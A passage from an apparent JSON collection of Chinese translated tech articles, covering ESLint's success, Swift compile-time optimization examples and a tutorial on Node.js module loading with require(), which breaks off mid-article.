配置可分享，所有人都可以发布和分享配置，非常便于不同的项目共用相同配置（ESLint 安装中 eslint-config-airbnb 的使用率有 15%）。\n- 插件系统 人们可以很方便的通过 package 分享规则，文本处理器，环境和配置。\n- 良好的 Node.js API 可以很方便的用于构建工具插件（Grunt，Gulp等），也可用于创建零配置的检查工具（Standard，XO等）。\n\n我希望 ESLint 未来可以提供更多的可扩展性。\n\n## 听取社区反馈\n\n我非常努力做到的事情之一就是：听取 ESLint 社区的反馈。虽然开始有些固执于对于 ESLint 最初的设想，后来我意识到了众人的智慧。听到同样的建议次数越多，就越有可能是需要考虑的痛点。在这一点上我现在好多了，社区的很多好的想法也促成了 ESLint 的成功：\n1. **parser 可配置** - 直接来自 Facebook的建议，他们希望将 Esprima fork 用于 ESLint。\n2. **JSX 支持** - 起初我非常反对默认支持 JSX。但有持续不断的建议，我最终同意了。如上文提到的，这一点也成为了 ESLint 成功的关键。\n3. **可分享配置** - 来自 Standard 和其它基于 ESLint 的封装，它们的目标是使用特定的配置来运行 ESLint。看起来社区确实需要一种简便的方式来分享配置，因此这个特性诞生了。\n4. **插件** - 起初加载自定义规则的唯一方式是，从文件系统使用命令行选项 `--rulesdir` 加载。很快人们开始在 npm 发布自己的规则。这样使用起来很痛苦，并且很难同时使用多个 package，因此我们增加了插件以便能够方便的分享。\n\n很明显，ESLint 社区关于这个项目的成长有许多极好的想法。毫无疑问，ESLint 的成功直接受益于它们。\n\n## 群众基础\n\nESLint 发布以来，我写了两篇相关文章。第一篇发表在我的个人博客，第二篇在去年 9 月发表于 Smashing 杂志。除此之外，对 ESLint 的推广仅限于 Twitter 和 管理 ESLint Twitter 账户。如果我愿意花心思去做些演讲的话，我肯定会在推广 ESLint 上做的更好。但是因为我没有，我决定放弃尝试去推广它了。\n\n然而我很欣喜的发现人们开始讨论 ESLint，写关于它的文章。起初是一些我不认识也没听说过的人。不断有人写文章（比如说 Dan），人们也在各种会议和聚会上讨论 ESlint。网上的内容越来越多，ESLint 很自然的也更加流行了。\n\n一个有趣的对比是 JSCS 的成长。最开始 JSCS 得到了 JSHint 的宣传 -- JSHint 决定去除所有代码风格相关的规则，而 JSCS 则作为这些规则的替代品。因此当 JSCS 遇到问题时，会提到 JSHint 团队成员。有了这个领域的巨头支持，早期一段时间内，JSCS 的使用远超于 ESLint。第一年的一段时间内，我曾一度以为 JSCS 会碾压 ESLint，让我许多夜晚和周末的工作失去意义，然而这一切并没有发生。\n\n强大的群众基础支持着 ESLint，最终帮助它得到了巨大成长。用户带来了更多用户，ESLint 也由此获得了成功。\n\n## 关注实用性而非竞争\n\n这是 ESLint 一路走来我最骄傲的事情之一。我从来没有说过 ESLint 优于其它工具，从来没有要求人们从 JSHint 或 JSCS 转向 ESLint。我主要说明了 ESLint 能更好的支持你编写自定义规则。到今天为止，ESLint README 里面这样写（在 FAQ）:\n\n> 我不是说服你 ESLint 比 JSHint 更好。我只知道 ESLint 在我的工作中比 JSHint 更好。极小可能性你在做类似的工作，它可能更适合你。否则，继续使用 JSHint，我当然不会劝说你放弃使用它。\n\n这一直是我的立场，现在也是 ESLint 团队的立场。一直以来，我始终认为 JSHint 是很好的工具，它有着很多优势 -- JSCS 也一样。很多人非常满意于使用 JSHint 和 JSCS 这一对组合，对他们来说，我鼓励他们继续使用。\n\nESLint 关注于尽可能有用，让开发者来决定是否适合他们。所有决策都基于有用性，而非与其它工具竞争。这个世界可以有很多检查工具的空间，不必只有一个。\n\n## 耐心\n\n我以前说过[8]，现在开源项目间似乎有一种不理性竞争：对人气的关注高于一切。ESLint 是一个项目从诞生到成功的很好的例子。在项目诞生初的近 2 年里，ESLint 的下载量远低于 JSHint 和 JSCS。ESLint 和 社区的成熟都花费了时间。ESLint 的“一夜成名”并不是发生在一夜，它经历了持续不断的基于有用性和社区反馈的改进。\n\n## 优秀的团队\n\n我很幸运有很优秀的团队为 ESLint 做贡献。由于我没有太多精力和时间在 ESLint 上，他们做了很多工作。一直令我吃惊的是我从来没有当面见过他们，也没有听过他们的声音，但我很期待能够每天和他们对话。由于我需要恢复健康，他们永恒的激情和创造力使得 ESLint 能够继续成长。虽然我一个人开始了 ESLint 这个项目，但他们无疑是它能够发展达到目前的人气的原因。\n\n非常感谢 Ilya Volodin, Brandon Mills, Gyandeep Singh, Mathias Schreck, Jamund Ferguson, Ian VanSchooten, Toru Nagashima, Burak Yiğit Kaya, 和 Alberto Rodríguez，谢谢你们的大量工作。\n\n## 结论\n\n有许多因素导致了 ESLint 的成功，我希望通过分享它们，能给其他人创建成功的开源项目提供一个指引。最值得做的事情，一点幸运，其他人的帮助和对要实现的东西的一个清晰的愿景，这就是所有关键。我坚信如果你关注于创造一些有用的东西，愿意付出辛苦的工作，最终将得到应得的回报。\n\nESLint 也在继续成长和改变，团队和社区也是。期待 ESLint 的未来。\n\n## References\n\n1. [ESLint](http://eslint.org) (eslint.org)\n2. [Introducing ESLint](https://www.nczonline.net/blog/2013/07/16/introducing-eslint/) (nczonline.net)\n3. [HTTP Archive Trends 2013-2016](http://httparchive.org/trends.php?s=All&amp;minlabel=Jul+15+2013&amp;maxlabel=Jan+15+2016#bytesJS&amp;reqJS) (httparchive.org)\n4. [babel-eslint](https://github.com/babel/babel-eslint) (github.com)\n5. [eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react) (github.com)\n6. [Lint like it's 2015](https://medium.com/@dan_abramov/lint-like-it-s-2015-6987d44c5b48#.giue3dxsd) (medium.com)\n7. [ESLint: The Next Generation JavaScript Linter](https://www.smashingmagazine.com/2015/09/eslint-the-next-generation-javascript-linter/) (smashingmagazine.com)\n8. [Why I'm not using your open source project](https://www.nczonline.net/blog/2015/12/why-im-not-using-your-open-source-project/) (nczonline.net)\n\n免责声明：文中任何观点都属于 Nicholas C. Zakas 本人所有，不代表雇主、同事，[Wrox Publishing](http://www.wrox.com/)、[O'Reilly Publishing](http://www.oreilly.com/)或其他人。\n\n---\n\n【译注】：本文发表于2016-2-9，现在 [JSCS 团队已经加入了 ESLint](http://eslint.org/blog/2016/04/welcoming-jscs-to-eslint)，文中有些数据也已经不再准确，但文章关注点不在这些，所以不再重新更新。希望这篇文章对开源作者有所参考！Enjoy it!❤️\n\n---\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/regarding-swift-build-time-optimizations.md",
    "content": ">* 原文链接 : [Regarding Swift build time optimizations](https://medium.com/@RobertGummesson/regarding-swift-build-time-optimizations-fc92cdd91e31#.w81y3zhjr)\n* 原文作者 : [Robert Gummesson](https://medium.com/@RobertGummesson)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [杨龙龙](http://www.yanglonglong.com)\n* 校对者: [申冠华](https://github.com/shenAlexy), [Jack King](https://github.com/Jack-Kingdom)\n\n# 关于 Swift 编译时性能优化的一些思考\n\n![](http://ww3.sinaimg.cn/large/005SiNxygw1f3p3jimjllj31jk0dwqft.jpg)\n\n上周，我读了 [@nickoneill](https://medium.com/@nickoneill) 一篇优秀的帖子 [Speeding Up Slow Swift Build Times](https://medium.com/swift-programming/speeding-up-slow-swift-build-times-922feeba5780#.k0pngnkns) 之后，我发现用一个略不同以往的角度去读Swift代码，并不是很难。\n\n一行之前很简洁的代码，现在却出现了新的问题——它是否应该重构为9行代码来达到更快的编译速度？ (_nil coalescing 运算符就是一个例子_)孰轻孰重？简洁的代码还是对编译器友好的代码？ 我觉得，它取决于项目的大小和开发者的想法。\n\n#### 但请等等... 这里有一个Xcode插件\n\n在讲一些例子之前，我首先想到了通过手工提取日志信息是非常耗时的事情。通过命令行工具实现会相对容易一些，但是我把它往前推进了一步：集成为[Xcode插件](https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode)。\n\n![](http://ww1.sinaimg.cn/large/005SiNxygw1f3p3hhivppj30m809lwis.jpg)\n\n在这个例子中，最初的目的仅仅是识别并修复代码中最耗时的地方，但是现在我觉得它成为了一个必须要迭代的过程。这样我才可以更加高效地构建代码，并且防止在项目中出现耗时的函数。\n\n#### 不少惊喜\n\n我经常在不同的 Git 分支中跳转，并且等待一个暖慢的项目编译简直是在浪费我的生命。因此我思考了很长时间，一个玩具项目（大约两万行 Swift 代码）会编译如此长的时间。\n\n当我知道是什么原因导致它如此慢之后，我不得不承认我震惊了，一行代码居然需要几秒的编译时间。\n\n让我们来看几个例子。\n\n#### Nil 合并运算符\n\n编译器肯定不喜欢这里的第一种方法。在展开下面两处简写的代码之后，构建时间减少了 **99.4%**。\n\n    // 构建时间： 5238.3ms\n    return CGSize(width: size.width + (rightView?.bounds.width ?? 0) + (leftView?.bounds.width ?? 0) + 22, height: bounds.height)\n\n    // 构建时间： 32.4ms\n    var padding: CGFloat = 22\n    if let rightView = rightView {\n        padding += rightView.bounds.width\n    }\n\n    if let leftView = leftView {\n        padding += leftView.bounds.width\n    }\n    return CGSizeMake(size.width + padding, bounds.height)\n\n#### ArrayOfStuff + [Stuff]\n\n这个看起来像下面这样：\n\n    return ArrayOfStuff + [Stuff]  \n    // 而不是  \n    ArrayOfStuff.append(stuff)  \n    return ArrayOfStuff\n\n我经常这么做，并且它影响了每次构建的时间。下面是最糟糕的一个例子，改写后构建时间可以减少 **97.9%**。\n\n    // 构建时间： 1250.3ms\n    let systemOptions = [ 7, 14, 30, -1 ]\n    let systemNames = (0...2).map{ String(format: localizedFormat, systemOptions[$0]) } + [NSLocalizedString(\"everything\", comment: \"\")]\n    // Some code in-between \n    labelNames = Array(systemNames[0..<count]) + [systemNames.last!]\n\n    // 构建时间： 25.5ms\n    let systemOptions = [ 7, 14, 30, -1 ]\n    var systemNames = systemOptions.dropLast().map{ String(format: localizedFormat, $0) }\n    systemNames.append(NSLocalizedString(\"everything\", comment: \"\"))\n    // Some code in-between\n    labelNames = Array(systemNames[0..<count])\n    labelNames.append(systemNames.last!)\n\n#### 三元运算符\n\n仅仅是通过替换三元运算符为 if else 语句就能减少 **92.9%** 的构建时间。如果使用一个for循环替换 _map_ 函数，它又能减少另一个 75%（但是我的眼睛可就受不了咯😉）。\n\n    // 构建时间： 239.0ms\n    let labelNames = type == 0 ? (1...5).map{type0ToString($0)} : (0...2).map{type1ToString($0)}\n\n    // 构建时间： 16.9ms\n    var labelNames: [String]\n    if type == 0 {\n        labelNames = (1...5).map{type0ToString($0)}\n    } else {\n        labelNames = (0...2).map{type1ToString($0)}\n    }\n\n#### 转换 CGFloat 到 CGFloat\n\n这里我所说的并不一定正确。变量已经使用了 CGFloat 并且有一些括号也是多余的。在清理了这些冗余之后，构建时间能减少 **99.9%**。\n\n    // 构建时间： 3431.7 ms\n    return CGFloat(M_PI) * (CGFloat((hour + hourDelta + CGFloat(minute + minuteDelta) / 60) * 5) - 15) * unit / 180\n\n    // 构建时间： 3.0ms\n    return CGFloat(M_PI) * ((hour + hourDelta + (minute + minuteDelta) / 60) * 5 - 15) * unit / 180\n\n#### Round()\n\n这个一个非常奇怪的例子，下面的例子中变量是一个局部变量与实例变量的混合。这个问题可能不是四舍五入本身，而是结合代码的方法。去掉四舍五入的方法大概能减少 **97.6%** 的构建时间。\n\n    // 构建时间： 1433.7ms\n    let expansion = a — b — c + round(d * 0.66) + e\n    // 构建时间： 34.7ms\n    let expansion = a — b — c + d * 0.66 + e\n\n注意：所有的测试都在 MacBook Air (13-inch, Mid 2013)中进行。\n\n#### 尝试它\n\n无论你是否面临过构建时间太长的问题，编写对编译器友好的代码都是非常有用的。我确定你自己会在其中找到一些惊喜。作为参考，这里有完整的代码，在我的工程中可以5秒内完成编译...\n\n    import UIKit\n\n    class CMExpandingTextField: UITextField {\n\n        func textFieldEditingChanged() {\n            invalidateIntrinsicContentSize()\n        }\n\n        override func intrinsicContentSize() -> CGSize {\n            if isFirstResponder(), let text = text {\n                let size = text.sizeWithAttributes(typingAttributes)\n                return CGSize(width: size.width + (rightView?.bounds.width ?? 0) + (leftView?.bounds.width ?? 0) + 22, height: bounds.height)\n            }\n            return super.intrinsicContentSize()\n        }\n    }\n\n"
  },
  {
    "path": "TODO/requiring-modules-in-node-js-everything-you-need-to-know.md",
    "content": "> * 原文地址：[Requiring modules in Node.js: Everything you need to know](https://medium.freecodecamp.com/requiring-modules-in-node-js-everything-you-need-to-know-e7fbd119be8#.wcrwm9c81)\n> * 原文作者：本文已获原作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[zhouzihanntu](https://github.com/zhouzihanntu)\n> * 校对者：[lsvih](https://github.com/lsvih), [reid3290](https://github.com/reid3290)\n\n# 关于在 Node.js 中引用模块，知道这些就够了 #\n\n## Node.js 中模块化的工作原理 ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*AL0-iuggGnBLSvSVvt0Xzw.png\">\n\nNode 提供了两个核心模块来管理模块依赖：\n\n- `require` 模块在全局范围内可用，不需要写 `require('require')`.    \n- `module` 模块同样在全局范围内可用，不需要写 `require('module')`.\n\n你可以将 `require` 模块理解为命令，将 `module` 模块理解为所有引入模块的组织者。\n\n在 Node 中引入一个模块其实并不是个多么复杂的概念。\n\n```\nconst config = require('/path/to/file');\n```\n\n`require` 模块导出的主对象是一个函数（如上例）。当 Node 将本地文件路径作为唯一参数调用 `require()` 时，Node 将执行以下步骤：\n\n- **解析**：找到该文件的绝对路径。\n- **加载**：确定文件内容的类型。\n- **打包**：为文件划分私有作用域，这样 `require` 和 `module` 两个对象对于我们要引入的每个模块来说就都是本地的。\n- **评估**：最后由虚拟机对加载得到的代码做评估。\n- **缓存**：当再次引用该文件时，无需再重复以上步骤。\n\n 在本文中，我将尝试举例说明这些不同阶段的工作原理，以及它们是如何影响我们在 Node 中编写模块的方式的。\n\n我先使用终端创建一个目录来托管本文中的所有示例：\n\n```\nmkdir ~/learn-node && cd ~/learn-node\n```\n\n 之后的所有命令都将在 `~/learn-node` 目录下运行。\n\n#### 解析本地路径 ####\n\n首先，让我来介绍一下 `module` 对象。你可以在一个简单的 REPL 会话中查看该对象：\n\n```\n~/learn-node $ node\n> module\nModule {\n  id: '<repl>',\n  exports: {},\n  parent: undefined,\n  filename: null,\n  loaded: false,\n  children: [],\n  paths: [ ... ]}\n```\n\n每个模块对象都有一个用于识别该对象的 `id` 属性。这个 `id` 通常是该文件的完整路径，但在 REPL 会话中只会显示为 `<repl>`。\n\nNode 模块与文件系统中的文件有着一对一的关系。我们通过加载模块对应的文件内容到内存中来实现模块引用。\n\n然而，由于 Node 允许使用多种方式引入文件（例如，使用相对路径或预先配置的路径），我们需要在将文件的内容加载到内存前找到该文件的绝对位置。\n\n例如，我们不声明路径，直接引入一个 `'find-me'` 模块时：\n\n```\nrequire('find-me');\n```\n\nNode 会在 `module.paths` 声明的所有路径中依次查找 `find-me.js` 。\n\n```\n~/learn-node $ node\n> module.paths\n[ '/Users/samer/learn-node/repl/node_modules',\n  '/Users/samer/learn-node/node_modules',\n  '/Users/samer/node_modules',\n  '/Users/node_modules',\n  '/node_modules',\n  '/Users/samer/.node_modules',\n  '/Users/samer/.node_libraries',\n  '/usr/local/Cellar/node/7.7.1/lib/node' ]\n```\n\nNode 从当前目录开始一级级向上寻找 node_modules 目录，这个数组大致就是当前目录到所有 node_modules 目录的相对路径。其中还包括一些为了兼容性保留的目录，不推荐使用。\n\n如果 Node 在以上路径中都无法找到 `find-me.js` ，将抛出一个 “找不到该模块” 错误。\n\n```\n~/learn-node $ node\n> require('find-me')\nError: Cannot find module 'find-me'\n    at Function.Module._resolveFilename (module.js:470:15)\n    at Function.Module._load (module.js:418:25)\n    at Module.require (module.js:498:17)\n    at require (internal/module.js:20:19)\n    at repl:1:1\n    at ContextifyScript.Script.runInThisContext (vm.js:23:33)\n    at REPLServer.defaultEval (repl.js:336:29)\n    at bound (domain.js:280:14)\n    at REPLServer.runBound [as eval] (domain.js:293:12)\n    at REPLServer.onLine (repl.js:533:10)\n```\n\n如果你现在创建一个本地的 `node_modules` 目录，并向目录中添加一个 `find-me.js` 文件，就能通过 `require('find-me')` 找到它了。\n\n```\n~/learn-node $ mkdir node_modules\n\n~/learn-node $ echo \"console.log('I am not lost');\" > node_modules/find-me.js\n\n~/learn-node $ node\n> require('find-me');\nI am not lost\n{}\n>\n```\n\n如果在其他路径下也有 `find-me.js` 文件呢？例如，我们在主目录下的 `node_modules` 目录中放置一个不同的 `find-me.js` 文件：\n\n```\n$ mkdir ~/node_modules\n$ echo \"console.log('I am the root of all problems');\" > ~/node_modules/find-me.js\n```\n\n当我们在 `learn-node` 目录下执行 `require('find-me')` 时，`learn-node` 目录会加载自己的 `node_modules/find-me.js`，主目录下的 `find-me.js` 文件并不会被加载：\n\n```\n~/learn-node $ node\n> require('find-me')\nI am not lost\n{}\n>\n```\n\n此时，如果我们将 `~/learn-node` 下的 `node_modules` 移除，再一次引入 `find-me` 模块，那么主目录下的 `node_modules` 将会被加载：\n\n```\n~/learn-node $ rm -r node_modules/\n\n~/learn-node $ node\n> require('find-me')\nI am the root of all problems\n{}\n>\n```\n\n#### 引入文件夹 ####\n\n模块不一定是单个文件。我们也可以在 `node_modules` 目录下创建一个 `find-me` 文件夹，然后向其中添加一个 `index.js` 文件。`require('find-me')` 会引用该文件夹下的 `index.js` 文件：\n\n```\n~/learn-node $ mkdir -p node_modules/find-me\n\n~/learn-node $ echo \"console.log('Found again.');\" > node_modules/find-me/index.js\n\n~/learn-node $ node\n> require('find-me');\nFound again.\n{}\n>\n```\n\n>注意，由于我们现在有一个本地目录，它再次忽略了主目录的 `node_modules` 路径。\n\n当我们引入一个文件夹时，将默认使用 `index.js` 文件，但是我们可以通过 `package.json` 中的 `main` 属性指定主入口文件。例如，要令 `require('find-me')` 解析到 `find-me` 文件夹下的另一个文件，我们只需要在该文件夹下添加一个 `package.json` 文件来声明解析该文件夹时引用的文件：\n\n```\n~/learn-node $ echo \"console.log('I rule');\" > node_modules/find-me/start.js\n\n~/learn-node $ echo '{ \"name\": \"find-me-folder\", \"main\": \"start.js\" }' > node_modules/find-me/package.json\n\n~/learn-node $ node\n> require('find-me');\nI rule\n{}\n>\n```\n\n#### require.resolve 方法 ####\n\n如果你只想解析模块而不运行，此时可以使用 `require.resolve` 函数。这个方法与 `require` 的主要功能完全相同，但是不加载文件。如果文件不存在，它仍会抛出错误；如果找到了文件，则会返回文件的完整路径。\n\n```\n> require.resolve('find-me');\n'/Users/samer/learn-node/node_modules/find-me/start.js'\n> require.resolve('not-there');\nError: Cannot find module 'not-there'\n    at Function.Module._resolveFilename (module.js:470:15)\n    at Function.resolve (internal/module.js:27:19)\n    at repl:1:9\n    at ContextifyScript.Script.runInThisContext (vm.js:23:33)\n    at REPLServer.defaultEval (repl.js:336:29)\n    at bound (domain.js:280:14)\n    at REPLServer.runBound [as eval] (domain.js:293:12)\n    at REPLServer.onLine (repl.js:533:10)\n    at emitOne (events.js:101:20)\n    at REPLServer.emit (events.js:191:7)\n>\n```\n\n这个方法可以用于检查一个可选安装包是否安装，并仅在该包可用时使用。\n\n#### 相对路径和绝对路径 ####\n\n除了从 `node_modules` 目录中解析模块以外，我们还可以将模块放置在任意位置，使用相对路径（ `./` 和 `../` ）或以 `/` 开头的绝对路径引入。\n\n举个例子，如果 `find-me.js` 文件并不在 `node_modules` 中，而在 `lib` 文件夹中。我们可以使用以下代码引入它：\n\n```\nrequire('./lib/find-me');\n```\n\n#### 文件间的父子关系 ####\n\n现在我们来创建一个 `lib/util.js` 文件，向文件添加一行 `console.log` 代码作为标识。打印出 `module` 对象本身：\n\n```\n~/learn-node $ mkdir lib\n~/learn-node $ echo \"console.log('In util', module);\" > lib/util.js\n```\n\n同样的，向 `index.js` 文件中也添加一行打印 `module` 对象的代码，并在文件中引入 `lib/util.js`，我们将使用 node 命令运行该文件：\n\n```\n~/learn-node $ echo \"console.log('In index', module); require('./lib/util');\" > index.js\n```\n\n用 node 运行 `index.js` 文件：\n\n```\n~/learn-node $ node index.js\nIn index Module {\n  id: '.',\n  exports: {},\n  parent: null,\n  filename: '/Users/samer/learn-node/index.js',\n  loaded: false,\n  children: [],\n  paths: [ ... ] }\nIn util Module {\n  id: '/Users/samer/learn-node/lib/util.js',\n  exports: {},\n  parent:\n   Module {\n     id: '.',\n     exports: {},\n     parent: null,\n     filename: '/Users/samer/learn-node/index.js',\n     loaded: false,\n     children: [ [Circular] ],\n     paths: [...] },\n  filename: '/Users/samer/learn-node/lib/util.js',\n  loaded: false,\n  children: [],\n  paths: [...] }\n```\n\n>注意：`index` 主模块 `(id: '.')` 现在被列为 `lib/util` 模块的父模块。但 `lib/util` 模块并没有被列为 `index` 模块的子模块。相反，我们在这里得到的值是 `[Circular]`，因为这是一个循环引用。如果 Node 打印 `lib/util` 模块对象，将进入一个无限循环。 因此 Node 使用 `[Circular]` 代替了 `lib/util` 引用。\n\n\n重点来了，如果我们在 `lib/util` 模块中引入 `index` 主模块会发生什么？这就是 Node 中所支持的循环依赖。\n\n为了更好理解循环依赖，我们先来了解一些关于 module 对象的概念。\n\n#### exports、module.exports 和模块异步加载 ####\n\n在所有模块中，exports 都是一个特殊对象。你可能注意到了，以上我们每打印一个 module 对象时，它都有一个空的 exports 属性。我们可以向这个特殊的 exports 对象添加任意属性。例如，我们现在为 `index.js` 和 `lib/util.js` 的 exports 对象添加一个 id 属性：\n\n```\n// 在 lib/util.js 顶部添加以下代码\nexports.id = 'lib/util';\n\n// 在 index.js 顶部添加以下代码\nexports.id = 'index';\n```\n\n然后运行 `index.js`，我们将看到：\n\n```\n~/learn-node $ node index.js\nIn index Module {\n  id: '.',\n  exports: { id: 'index' },\n  loaded: false,\n  ... }\nIn util Module {\n  id: '/Users/samer/learn-node/lib/util.js',\n  exports: { id: 'lib/util' },\n  parent:\n   Module {\n     id: '.',\n     exports: { id: 'index' },\n     loaded: false,\n     ... },\n  loaded: false,\n  ... }\n```\n\n为了保持示例简短，我删除了以上输出中的一些属性，但请注意：`exports` 对象现在拥有我们在各模块中定义的属性。你可以向 exports 对象添加任意多的属性，也可以直接将整个 exports 对象替换为其它对象。例如，我们可以通过以下方式将 exports 对象更改为一个函数：\n\n```\n// 将以下代码添加在 index.js 中的 console.log 语句前\n\nmodule.exports = function() {};\n```\n\n再次运行 `index.js`，你将看到 `exports` 对象是一个函数：\n\n```\n~/learn-node $ node index.js\nIn index Module {\n  id: '.',\n  exports: [Function],\n  loaded: false,\n  ... }\n```\n\n>注意：我们并没有使用 `exports = function() {}` 来将 `exports` 对象更改为函数。实际上，由于各模块中的 `exports` 变量仅仅是对管理输出属性的 `module.exports` 的引用，当我们对 `exports` 变量重新赋值时，引用就会丢失，因此我们只需要引入一个新的变量，而不是对 `module.exports` 进行修改。\n\n各模块中的 `module.exports` 对象就是我们在引入该模块时 `require` 函数的返回值。例如，我们将 `index.js` 中的 `require('./lib/util')` 改为：\n\n```\nconst UTIL = require('./lib/util');\n\nconsole.log('UTIL:', UTIL);\n```\n\n以上代码会将 `lib/util` 输出的属性赋值给 `UTIL` 常量。我们现在运行 `index.js`，最后一行将输出以下结果：\n\n```\nUTIL: { id: 'lib/util' }\n```\n\n我们再来谈谈各模块中的 `loaded` 属性。到目前为止我们打印的所有 module 对象中都有一个值为 `false` 的 `loaded` 属性。\n\n`module` 模块使用 `loaded` 属性对模块的加载状态进行跟踪，判断哪些模块已经加载完成（值为 true）以及哪些模块仍在加载（值为 false）。例如，我们可以使用 `setImmediate` 在下一个事件循环中打印出它的 `module` 对象，以此来判断 `index.js` 模块是否已完全加载。\n\n```\n// index.js 中\nsetImmediate(() => {\n  console.log('The index.js module object is now loaded!', module)\n});\n```\n\n以上输出将得到：\n\n```\nThe index.js module object is now loaded! Module {\n  id: '.',\n  exports: [Function],\n  parent: null,\n  filename: '/Users/samer/learn-node/index.js',\n  loaded: true,\n  children:\n   [ Module {\n       id: '/Users/samer/learn-node/lib/util.js',\n       exports: [Object],\n       parent: [Circular],\n       filename: '/Users/samer/learn-node/lib/util.js',\n       loaded: true,\n       children: [],\n       paths: [Object] } ],\n  paths:\n   [ '/Users/samer/learn-node/node_modules',\n     '/Users/samer/node_modules',\n     '/Users/node_modules',\n     '/node_modules' ] }\n```\n\n>注意：这个延迟的 `console.log` 的输出显示了 `lib/util.js` 和 `index.js` 都已完全加载。\n\n在 Node 完成加载模块（并标记为完成）时，`exports` 对象也就完成了。引入一个模块的整个过程是 **同步的**，因此我们才能在一个事件循环后看见模块被完全加载。\n\n这也意味着我们无法异步地更改 `exports` 对象。例如，我们在任何模块中都无法执行以下操作：\n\n```\nfs.readFile('/etc/passwd', (err, data) => {\n  if (err) throw err;\n\n  exports.data = data; // 无效\n});\n```\n\n#### 模块的循环依赖 ####\n\n我们现在来回答关于 Node 中循环依赖的重要问题：当我们在模块1中引用模块2，在模块2中引用模块1时会发生什么？\n\n为了找到答案，我们在 `lib/` 下创建 `module1.js` 和 `module2.js` 两个文件并让它们互相引用：\n\n```\n// lib/module1.js\n\nexports.a = 1;\n\nrequire('./module2');\n\nexports.b = 2;\nexports.c = 3;\n\n// lib/module2.js\n\nconst Module1 = require('./module1');\nconsole.log('Module1 is partially loaded here', Module1);\n```\n\n执行 `module1.js` 后，我们将看到：\n\n```\n~/learn-node $ node lib/module1.js\nModule1 is partially loaded here { a: 1 }\n```\n\n我们在 `module1` 加载完成前引用了 `module2`，而此时 `module1` 尚未加载完，我们从当前的 `exports` 对象中得到的是在循环依赖之前导出的所有属性。这里被列出的只有属性 `a`，因为属性 `b` 和 `c` 都是在 `module2` 引入并打印了 `module1` 后才导出的。\n\nNode 使这个过程变得非常简单。它在模块加载时构建 `exports` 对象。你可以在该模块完成加载前引用它，而你将得到此时已定义的部分导出对象。\n\n#### 使用 JSON 文件和 C/C++ 插件 ####\n\n我们可以使用自带的 require 函数引用 JSON 文件和 C++ 插件。你甚至不需要为此指定文件扩展名。\n\n如果没有指定文件扩展名，Node 会在第一时间尝试解析 `.js` 文件。如果没有找到 `.js` 文件，它将继续寻找 `.json` 文件并在找到一个 JSON 文本文件后将其解析为 `.json` 文件。随后，Node 将会查找二进制的 `.node` 文件。为了避免产生歧义，你最好在引用除 `.js` 文件以外的文件类型时指定文件扩展名。\n\n如果你需要在文件中放置的内容都是一些静态的配置信息，或者需要定期从外部来源读取一些值时，使用 JSON 文件将非常方便。例如，我们有以下 `config.json` 文件：\n\n```\n{\n  \"host\": \"localhost\",\n  \"port\": 8080\n}\n```\n\n我们可以这样直接引用它：\n\n```\nconst { host, port } = require('./config');\n\nconsole.log(`Server will run at [http://${host}:${port}](http://$%7Bhost%7D:$%7Bport%7D`));\n\n```\n\n执行以上代码将输出以下结果：\n\n```\nServer will run at [http://localhost:8080](http://localhost:8080)\n```\n\n\n如果 Node 找不到 `.js` 或 `.json` 文件，它会寻找 `.node` 文件并将其作为一个编译好的插件模块进行解析。\n\nNode 文档中有一个用 C++ 编写的[插件示例](https://nodejs.org/api/addons.html#addons_hello_world)，该示例模块提供了一个输出 “world” 的 `hello()` 函数。\n\n你可以使用 `node-gyp` 插件将 `.cc` 文件编译成 `.addon` 文件。只需要配置一个 [binding.gyp](https://nodejs.org/api/addons.html#addons_building) 文件来告诉 `node-gyp` 要做什么。\n\n有了 `addon.node` 文件（你可以在 `binding.gyp` 中声明任意文件名），你就可以像引用其他模块一样引用它了。\n\n```\nconst addon = require('./addon');\n\nconsole.log(addon.hello());\n```\n\n我们可以在 `require.extensions` 中查看 Node 对这三类扩展名的支持。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*IcpIrifyQIn9M0q8scMZdA.png\">\n\n你可以看到每个扩展名分别对应的函数，从中了解 Node 会对它们做出怎样的操作：对 `.js` 文件使用 `module._compile`，对 `.json` 文件使用 `JSON.parse`，对 `.node` 文件使用 `process.dlopen`。\n\n#### 你在 Node 中写的所有代码都将被封装成函数 ####\n\n常常有人误解 Node 的模块封装。要了解它的原理，请回忆一下 `exports` 与 `module.exports` 的关系。\n\n我们可以使用 `exports` 对象导出属性，但是由于 `exports` 对象仅仅是对 `module.exports` 的一个引用，我们无法直接对其执行替换操作。\n\n```\nexports.id = 42; // 有效\n\nexports = { id: 42 }; // 无效\n\nmodule.exports = { id: 42 }; // 有效\n```\n\n这个 `exports` 对象看起来对所有模块都是全局的，它是如何被定义成 `module` 对象的引用的呢？\n\n在解释 Node 的封装过程前，让我们再来思考一个问题：\n\n在浏览器中，我们在脚本里声明如下变量：\n\n```\nvar answer = 42;\n```\n\n`answer` 变量对声明该变量的脚本后的所有脚本来说都是全局的。\n\n然而在 Node 中却不是这样的。我们在一个模块中定义了变量，项目中的其他模块却将无法访问该变量。那么 Node 是如何神奇地做到为变量限定作用域的呢？\n\n答案很简单。在编译模块前，Node 就将模块代码封装在一个函数中，我们可以使用 `module` 模块的 `wrapper` 属性来查看。\n\n```\n~ $ node\n> require('module').wrapper\n[ '(function (exports, require, module, __filename, __dirname) { ',\n  '\\n});' ]\n>\n```\n\nNode 